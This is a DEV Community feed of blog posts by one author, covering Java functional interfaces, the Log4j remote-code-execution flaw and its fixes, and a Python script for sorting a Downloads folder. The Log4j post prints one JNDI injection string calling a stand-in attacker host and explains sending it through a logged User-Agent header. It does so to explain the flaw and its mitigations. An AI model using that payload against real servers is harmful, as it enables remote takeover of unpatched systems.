DEV Community: Mukund Madhav

Exploring Functional Interfaces in Java

Mukund Madhav — Sat, 05 Feb 2022 02:57:19 +0000

This is second part of the series in Functional interfaces. Check the first one here: Guide to Func interfaces

Java Function Interface

What is a Java Function interface?

It represents a functional interface that accepts one argument and produces a result of any class type.

We know that functional interfaces can have a single abstract method (SAM). So the SAM here is called apply:

apply Applies this function to the given argument.

Let’s look at an example:

The following code, performs cube root of 27.

Function<Integer, Double> cubeRoot = num -> Math.pow(num , 0.334);
System.out.println(cubeRoot.apply(27)); // Output: 3

represents parameter and output type respectively.

The next obvious question should be:

Why use Java Function interface instead of a normal method?

Streams: If you have made any list manipulation in Java recently, you would have used streams.

Let’s look at the code below that extracts name from Person class (defined above)

Stream.of(listOfPersons)
   .map(p -> p.getName())
   .collect(Collectors.toList());

This code extracts list of names from list of Persons.

Now, notice the map () method.

It is receiving p → p.getName() as a parameter…Isn’t that weird?

This is made possible with Java Function. map () receives Function (the functional interface) as a parameter and since p→ p.getName() is a function so that is how it is possible.

Chained Function

Similar to Predicate chaining, you can chain two functions also. By this, result of one function is then passed to another. You can have two independent functions and can reuse them to create a new use-case.

Let’s explore this with an example.

Function<Double, Double> getCubeRoot = num -> Math.pow(num, 0.334);
Function<Double, Double> getSqaureRoot = num -> Math.pow(num, 0.5);

System.out.println(getCubeRoot.apply(getSqaureRoot.apply(64d))); //Output: 2

As we can see, getCubeRoot and getSqaureRoot has individual use cases to get the cube and square root respectively, but then they can be used together to get the sixth root. (1/2 x 1/3)

Why use predicate when we have Function?

The next obvious question, would be why not use Function everywhere? Isn’t Predicate just a special case of Function, where it returns Boolean value?

Well, no.

Let me explain.

A function can return a “Boolean” (wrapper class) value, while Predicate will always return a “boolean” (primitive type) value.

So, there is a lack of autoboxing in Predicate and a lack of unboxing in Function.

This is intentionally done because Predicate, in most cases, is used for validations. Therefore if Predicate returns null instead of true/false, we won’t know what should be the course of action. In Streams, there are filter functions that can only accept Predicates whereas a map will only accept a Function.

This can be easily demonstrated. The following code will return in complication error:

 Function<Person, Boolean> isAdult = user -> user.getAge() > 18;
Stream<Person> beerPartyList  = stringList().stream().filter(isAdult); // point 1

Predicate<Person> isAwesome = user -> user.following().equals("mukundmadhav02");
Stream<Person> awesomePeopleList = stringList().stream().map(isAwesome); // point 2

At point 1 and 2, we are passing Function, where a predicate is needed and vice versa.

What is a BiFunction?

Like Predicate, there are BiFunctions also. As the name implies, they accept two arguments of any class type and return a single result.

Java Supplier and Consumer

The Java util Supplier and Consumer functional interfaces are very much complementary to each other so it’s better if we look at them together.

First, let’s get their definitions out of the way.

What is Java Consumer interface?

It is :

a Functional interface 💁🏻
Accepts one argument and does not return anything
Single Abstract Method: accept – It simply performs the operation

Hm, let’s look at an example:

In the following code, we are accepting a String in our Consumer. And, we are then returning the greeting message.

Consumer<String> generateGreeting = name -> System.out.println("Hello " + name);
generateGreeting.accept("Mukund"); // Output: Hello Mukund

name is passed as an argument to generateGreeting consumer, and output is printed.

Pretty simple, eh?

Where would you use the Consumer interface?

The one area Consumer are ubiquitously used is in forEach function.

List<String> coolWebsites = List.of("colorhexpicker", "google");
coolWebsites.forEach(site -> System.out.println("https://" + site +  ".com"));
/*
Output:
<https://colorhexpicker.com>
<https://google.com>
*/

In the above example, we are iterating through list of cool websites and appending the HTTPS protocol and .com TLD before printing.

Iterating through each element via traditional for-loop involves too much boiler plating.

List’s forEach method accepts a Consumer and that makes iteration so simple and intuitive 💫

Side Note:

If you look at the official Consumer documentation it says,

Unlike most other functional interfaces, Consumer is expected to operate via side effects.

What does this mean?

If we look at what consumer is doing, it is accepting something and not returning anything. Of the most useful things we can do with it, Consumer is typically most used in a for-each loop. So if we say that, for Each cannot mutate the list it is being passed to then, looping through each element in the list would be useless.

So that is why the consumer (unlike other functional interfaces) fails to satisfy the criteria for pure functions (which states that function should not mutate state).

Not important, but good to know.

Okay, let’s dive head-first Supplier.

What is Java Supplier interface?

Just contrary to Consumers, Suppliers return a single output without any input.

It is:

a Functional interface
Does not accept anything, returns a single parameter
SAM: get: Gets a result

Hm, let’s look at an example

Supplier<String> getFavString = () -> "02";
System.out.println(getFavString.get()); // Output: 02

In the above example, a supplier getFavString does not accept anything but simply returns a string (02 in this case).

Where would you use the Supplier interface?

Now, if you are seeing a Supplier for the first time then like me, You might be tempted to think, why would anyone use it?

It does not accept anything and returns something…? Why would you use it?

Supplier becomes immensely useful when you tie it with another Java 8’s feature – Optional class. To briefly sum up what is Optional, it is a new class defined to Java 8 that helps in better handling of Null values.

Optional.orElseGet

Here, if the value is null, orElseGet invokes another function that can get the value or initialize with some default value.

String lastUser = Optional.of(getLatestNameFromChildDb())
                                                        .orElseGet(() -> getLatestNameFromMasterDb());
System.out.println(lastUser);

In the above example, we first try to get value from Child DB and if that does not return anything then we get value from master DB.

() → getLatestNameFromMasterDb() is the supplier and its lazily executed. Meaning, it won’t get executed if we get value from get getLatestNameFromChildDb();

There is also Double Supplier and Double Supplier and So on. They are simply Suppliers/Consumers who return/accept Double valued results. The same is there for other types like IntSupplier, LongSupplier, etc.

Callbacks in Java

With the introduction of functional interfaces in Java, another interesting programming practise is now possible in Java – callbacks.

Before diving into how callbacks are implemented in Java, let’s look at what they are and why are they useful?

Callback are function passed to another function. This allows for them to be excuted from the function they are passed to depending on certain criteria.

You’ll already know that it’s not possible to pass function to function in Java. This is where functional interfaces come in. Since they can be assigned agaisnt a variable, you can pass them to other functions and hence achieve calbacks.

public void init(Consumer<Void> callback) {
    callback.accept(null);
}

init((Void) -> done());

Let’s connect

Since you have read this far, let’s do a shameless plug.

Let’s discuss more on Java on Twitter 🎃

Connect on Twiiter

TLDR Infographics

If you skipped the article or read it and want a summed up version, the following infographic summarises the entire article – with functional interfaces and Predicate, function, Consumer and Supplier.

Summing it up

To sum it up, functional interfaces enabled unparalleled functional programming in Java. Thanks to functional interfaces, Java programs are no longer declarative just for it.

Functional interfaces with lambdas, help to quickly spin up code execution This reduces the effort that would have otherwise been used to write long boilerplate code to more intuitive approaches.

Hope this was helpful. Have an amazing day/night ahead 😎

Categories Java

Post navigationEverything you need to know about log4j vulnerability & how to fix it

The ultimate guide to Functional interfaces in Java

Mukund Madhav — Wed, 26 Jan 2022 06:44:21 +0000

We all have heard that Java Functional interfaces unleashed functional programming paradigm in Java.

That’s all cool but…what are these Functional interfaces?

Let’s try Oracle’s official documentation for the Functional interface:

Functional interfaces provide target types for lambda expressions and method references. Each functional interface has a single abstract method, called the functional method for that functional interface, to which the lambda expression’s parameter and return types are matched or adapted.

Oracle

Hm. That did not help much? Or did that answer a bit?

Either way, don’t fret.

We will dive deep into Functional interfaces. Additionally, we will explore the most commonly used built-in interfaces like predicate, function, supplier and consumer.

This is a bit long article, if short on time, skip to the TLDR at the end. (There’s a summarised infographic 😃)

First question, what are Functional interfaces?

Simple, they are interfaces in Java that follow the following criteria:

Is an interface – duh! 🙆‍♂️
Has just one abstract method

The good thing to note here would be that, since Java 8, interfaces can have default methods So, having multiple or no default methods have no effect whatsoever on the interface’s criteria for being a functional interface.

That’s clear, I hope.

Now onto @FunctionalInterface.

Remember the two rules we talked about Functional interfaces?

The @FunctionalInterface instructs the compiler to treat and validate the interface as a functional interface. And hence, if the compiler finds out that the criteria for a functional interface is not met while the annotation @FunctionalInterface is used, it will throw an appropriate error message.

However, usage of the annotation is completely optional.

How Java 8 made these functional interfaces cooler?

Before Java 8, to define a functional interface we used to have to write verbose looking anonymous classes.

Here’s a snippet of how that used to look:

Yeah, I know. 🤮

But with the introduction of lambdas ( which is just a short form to represent a specific type of anonymous class → Functional interfaces) here’s how the code would look

Pretty neat, eh?

Now, that we know what functional interfaces are, let’s look at some amazing in-built JDK 8 ones.

Before we go…

Before we go any further, let’s quickly look at lambdas so that everything makes much more sense later.

Lambdas are

Another way to represnet functional interface instead of anonmoys function
The common syntax looks something like

ReturnType lambdaName = parameter -> parameter + ” do something with parameter”;

lambdaName is the name of lambda. And, the parameter is well, parameter to the lambda function.

For more on lambda, I’d recommend checking out this lambda guide. Else, let’s move to functional interfaces.

Exploring java.util.function package

This package contains several nifty functional interfaces that forms the basis for functional programming in Java.

These functional interfaces have commonly used applications. Hence, it makes senses to use them.

Most of the times, these are syntactical sugars that makes coding a little bit more pleasant thanks to functional approach to things.

Let’s begin with most simple of them.

Java Predicate

What is a Java Predicate?

Java Predicate is a built-in functional interface that accepts a single argument and returns a “boolean” (not Boolean) value result.

Did not get it?

Let me show with an example:

Suppose you want to check if a number is greater than 0. Here’s how a predicate would look like:

Predicate<Integer> checkIfPositive = num -> (num > 0);
System.out.println(checkIfPositive.test(2)); // Output: true

When this predicate is called at line 2, it will return true/false

What is this test method that is being called in predicate? Let’s quickly glance over some poplar predicate method then it will make better sense.

Popular Predicate methods

test (the single abstract method for Predicate)

Remember how we discussed functional methods can have a single abstract method? Well, “test” is that method for Predicate.

It evaluates the results and returns true or false. Like in the initial example it will print true.

and

It represents the logical AND (like && in Java) for predicate outputs.

So, since predicate return true and false, joining them with “and” will feel like adding && conditions.

Predicate<Integer> checkIfPositive = num -> (num > 0);
Predicate<Integer> checkIfSmallerThan100 = num -> (num < 100);

System.out.println(checkIfPositive.and(checkIfSmallerThan100).test(60)); // Output: true

In the above example, the “and” operator will logically work as ” checkIfPositive AND checkIfSmallerThan100″

This particular case might be helpful in validating if valid age

It represents the logical OR operator (like || in Java) for predicate outputs.

Let’s look below:

Predicate<Integer> greaterThan18 = num -> (num > 18);
Predicate<Integer> lessThan64 = num -> (num < 64); 

System.out.println(lessThan64.or(greaterThan18).test(21)); // Output: true

In the above example, the “or” operator will logically work as ” lessThan64 OR greaterThan18″

But why would we even use them?

Common uses for Predicate

Streams allMatch and anyMatch

Predicate gets even powerful with Java 8’s streams.

Suppose you are getting list of Persons from a list somewhere and you need to verify if all the Person have required access to continue for some resource.

Here’s how that will look with Predicate:

class Person { // Point 1 

        //assume getters and setters
        private Integer pkId;
        private String name; 
        private String accessLevel;

        public String getAccessLevel() {
                return this.accessLevel;
        }
}

public class MainApp {

   public static void main(String[] args) {

      List<Person> allPeople = getListOfPersons);
      Predicate<Person> checkAccessLevel = p ->  p.getAccessLevel().equals("ADMIN");
      boolean toAllow = list.stream().allMatch(checkAccessLevel); // Point 2
      if(alltoAllow) 
        System.out.println("Allowed");
      else
        System.out.println("Denied access");
    }

}

Point 1: Let this dummy Person object serve as our model. Note, that we are assuming that the private variables have properly named getters and setters

Point 2: In combination with streams, Predicate help us avoid boilerplate code to iterate through each object and do the string comparison.

Validation pattern

There’s a very innovative validator pattern implementation at Dzone that clearly explains the validation pattern.

Here’s the cookie cutter version:

Suppose there are several serious of validation you need to do at the backend(most commonly done for forms).

In that case instead of writing code like this:

Snippet from DZone

We can move to writing validations like this:

Snippet from DZone

Now what’s the profit?

The validations are legible and there’s a reduction in redundant verbose code
We can keep on dynamically adding more conditions and they would still be understandable, thanks to, separation done by “and”/”or” methods

If you are still here, congratulations! Now let’s enter Functions. Not that kind, the interfaces kind.

Sidenote:

Similar to Predicate, there are BiPredicate.

They, like the name implies, accept two instead of one parameter and follow all the other characteristics of Predicate.

That is all for this post. We'll cover more popular interfaces in the next post.

Happy coding 😃

Massive Log4j Java vulnerability: What it is & how to fix it?

Mukund Madhav — Sat, 11 Dec 2021 17:04:48 +0000

Found on December 11 through an POC, Log4J’s vulnerability is one of the biggest vulnerabilities we have found. This will affect tens of thousands of enterprise websites running on Java. Let’s go through, what happened and how to fix it?

What is Log4J?

Log4J is an extremely popular open-sources library used in Java to manage application logging. It is an extremely popular library among Java developers because of how simple it makes logging in Java.

What does zero-day vulnerability mean?

This means the developer has “zero days” to fix the bug and this can affect the systems immediately.

What does this log4j vulnerability do?

This is a Remote Code Execution vulnerability, meaning external malicious code can run on the server with it.

You might think how can a logging library help in remote code execution? Well, the reason why this is happening is a feature, present in Log4J. It enables log4J to actually execute Java code. This is enabled through something called JNDI.

What is JNDI?

JNDI stands for Java Naming and Directory Interface. It is an API that allows applications to check on services in a resource-independent way. This has several uses — for instance, it enables access to Java resources without exposing the resources or path to them.

How JNDI works

Now, in case of log4j, when it sees a JNDI reference in its logs, it will actually go to the resource location and fetch what it needs to resolve the JNDI variable and execute it.
And in the process of fetching the resource (LDAP resource), it can download remote classes and execute them!

So, someone can inject something like this in logs and the server would be compromised:

${jndi:ldap://hacker.com/hack}

Now obvious question, how can you know what is getting logged? Because if you pass something and that isn’t logged, the attack is useless, right?

One of the most common things that gets logged are User-Agents (which helps server identify the clients’ OS, browser, etc.).

So, if we can change the User-Agent in the request header to our malicious JNDI and if the User Agent is logged, remote code would be executed on the server.

There you go. Hacked 101 🎃

Who are affected?

Virtually every company using Java and log4J… which might be most of the enterprise customers.

As of writing this, Apple, Amazon, Twitter, Cloudflare, Steam, Tencent, Baidu are acknowledged to be vulnerable. But most probably, the real number is much more.

For more on Java and web dev. let's connect on Twitter, Mukund Madhav

So, what’s the fix?

There are currently four solutions floating around:

Upgrade Log4J to 2.15.0. Here is the download link for Log4J.
Set this system level property

log4j2.formatMsgNoLookups=true

This will disable the JNDI lookup feature. This will work if you have log4j v2.1 - 2.14.1

3. Delete the JNDI class file. It will be named JdniLookup.class and should be inside org/apache/logging/log4j/core/lookup/JndiLookup.class

4. For versions 2.1 to 2.14.1, set the following environment variable to force change

LOG4J_FORMAT_MSG_NO_LOOKUPS="true"

That’s it. Safe to say this will go down as one of the most obvious (but hopefully not much exploited in future) bug.

Not a cool day to say,

Java runs on 3 billion devices

Happy fixing 😃

Automatically organize downloads folder with a simple python script

Mukund Madhav — Sat, 20 Nov 2021 16:58:45 +0000

Automatically organize downloads folder with a simple python script

Recently I opened my downloads folder to find pictures from my last trip and here’s what I found.

Randomly assorted 279 files with super slow Windows search. Needless to say, Marie Kondo would be highly disappointed in me.

This resulted in an epiphany that I needed to declutter my Downloads folder. Being the kind of lazy person I am, instead of manually cherry-picking the files, I created a python script to declutter the downloads folder.

Like any good transformation result, here’s a before and after:

Pre-breakthrough Downloads folder

Post Script run screenshot

Now the cool transformation picture is out of the way, let’s dive into the juicy🧃 coding stuff.

Directly want the code? Here’s the Github project link to skip the article😜:

mukundmadhav / declutter-downloads-folder-script

Python script to declutter the Downloads folder into the appropriate category every Weekend

Downloads Folder Organizer

Hi! This repo is for python script to declutter Downloads folder into appropriate category every Weekend. Basic configs are explained below.

Detailed Explanation 🔎

If you'd like to read along a walkthrough what each piece of code does, and how to configure various elements in a detailed fashion, follow along the blog for the same Organize your Downloads folder with a simple python script

Basic Configs 👩‍💻

The file explorer is accessible using the button in left corner of the navigation bar. You can create a new file by clicking the New file button in the file explorer. You can also create folders by clicking the New folder button.

Change Downloads folder location: Change the path in downloads_path variable
Add file types/extensions: Add/remove items in folder_names dictionary
Change file location for cron to run: Change folder path in the bat file

Well... 😅

That is it. If…

View on GitHub

First Step: Identify the type of files

First thing before we make a Python script, we need to understand what types of extensions correspond to what file types.

A quick Google search landed on Computer Hope and had a detailed breakdown of the file types.

For my particular organizer script here’s the division of file types I’ll be using:

Audio: .aif .cda , .mid, .midi , .mp3 , .mpa, .ogg, .wav, .wma
Compressed files: .7z, .deb , pkg, .rar , .rpm , tar.gz , .z , zip
Code: .js, .jsp, .html, .ipynb, .py, .java, .css
Documents: .ppt, .pptx, .pdf, .xls, xlsx, .doc, .docx, .txt, .tex
Images: .bmp , .gif .ico , .jpeg, .jpg , .png ,.svg , .tif, .tiff
Softwares: .apk, .bat , .bin , exe , .jar , .msi , .py
Videos: .3gp , .avi, .flv, .h264, .mkv , .mov , .mp4, .mpg, .mpeg , .wmv
Others: All other extensions

Now that we have our 8 folder names, let’s start coding. 🖥

First, let’s declare the folder names in Python.

folder_names = {
"Audio": {'aif','cda','mid','midi','mp3','mpa','ogg','wav','wma'},
"Compressed":{'7z','deb','pkg','rar','rpm', 'tar.gz','z', 'zip'},
'Code':{'js','jsp','html','ipynb','py','java','css'},
'Documents':{'ppt','pptx','pdf','xls', 'xlsx','doc','docx','txt', 'tex', 'epub'},
'Images':{'bmp','gif .ico','jpeg','jpg','png','jfif','svg','tif','tiff'},
'Softwares':{'apk','bat','bin', 'exe','jar','msi','py'},
'Videos':{'3gp','avi','flv','h264','mkv','mov','mp4','mpg','mpeg','wmv'},
'Others': {'NONE'}
}

Second step: Get all the files from the Downloads Folder

Now that we have the file types. Time to get the paths of files or folders we want to move.

We can do that by simply listing all the items in the Downloads folder and sorting them by whether they are a file or not

downloads_path = r"C:\Users\casia\Downloads"
onlyfiles = [os.path.join(downloads_path, file) 
        for file in os.listdir(downloads_path) 
            if os.path.isfile(os.path.join(downloads_path, file))]
onlyfolders = [os.path.join(downloads_path, file) 
        for file in os.listdir(downloads_path) 
            if not os.path.isfile(os.path.join(downloads_path, file))]

Now that we have the names of files that are either only folders or files, we need to move them. But before moving the files, we need to create a map so that each extension is mapped to its respective type.

In case we find an item whose file type we have not accounted for, we will move it to the ‘Others’ folder.

extension_filetype_map = {extension: fileType 
        for fileType, extensions in folder_names.items() 
                for extension in extensions }

Now let’s go ahead and create the folder. We know that we will run this script as a cron so we need to make sure if check if a folder does not exist, then only we create the folder.

For the list of folder names that we have to create we can get them from the folder name mapping, we had created earlier.

folder_paths = [os.path.join(downloads_path, folder_name) 
        for folder_name in folder_names.keys()]
[os.mkdir(folderPath) 
        for folderPath in folder_paths if not os.path.exists(folderPath)]

Third Step: Sort the files in their respective folder

We have identified the file/folder paths. We have created a directory for the Downloads folder. The next step on the script, move files to revolve location.

To assist in this, we will create a helper function that will take in the old file path and return us to the new path. This new path will have the folder name in which we are to move later.

We will also handle unknown file types here and send them to the ‘Others’ folder.

def new_path(old_path):
extension = str(old_path).split('.')[-1]
amplified_folder = extension_filetype_map[extension] if extension in extension_filetype_map.keys() else 'Others'
final_path = os.path.join(downloads_path,amplified_folder, str(old_path).split('\\')[-1])
return final_path

Let’s quickly now move the files to their relevant location by iterating through the files list loop.

[Path(eachfile).rename(new_path(eachfile)) for eachfile in onlyfiles]

Files are covered. They are organized in their various folders in Downloads. The next step does the same for unknown folders.

[Path(onlyfolder).rename(os.path.join(downloads_path,'Others', str(onlyfolder).split('\\')[-1])) 
        for onlyfolder in onlyfolders 
                if str(onlyfolder).split('\\')[-1] not in folder_names.keys()]

Fourth Step: Make a cron bat file

Well, our script is ready. Next up we will have to create a bat file. This file will handle what happens every week in Windows. For other OS like macOS and Linux based distros you can refer to the respective blog:

In this .bat file, we will instruct it to run our python file.

For this, create a file with a ‘.bat’ extension and in that provide the path for your Python file.

Then, in the next line, write pause to stop bat execution.

"C:\Users\casia\Documents\declutter downloads folder.py"
pause

Fifth Step: Configure bat file to run every week [Windows only]

Now let’s set up the bat file to run every weekend. We will use Windows Task Scheduler for scheduling our Python script.

Open Task Scheduler from the start menu.

It should look something like this:

Choose to create basic task.

You can fill in any name and description as it suits you

In the next step, choose the weekly option. Or any other option as per your preference.

You can adjust the timings as per your needs

On the next step, choose to start a program

In my case, I have browsed to the specific path my bat file is there. This will run every week which in turn will trigger our Python script.

Confirm that all the details are correct and click on the finish button.

Final Step: Marvel at the result ✨

It’s all done!

If you liked this article and would like to connect and chat, here’s my Twitter📨:
Mukund Madhav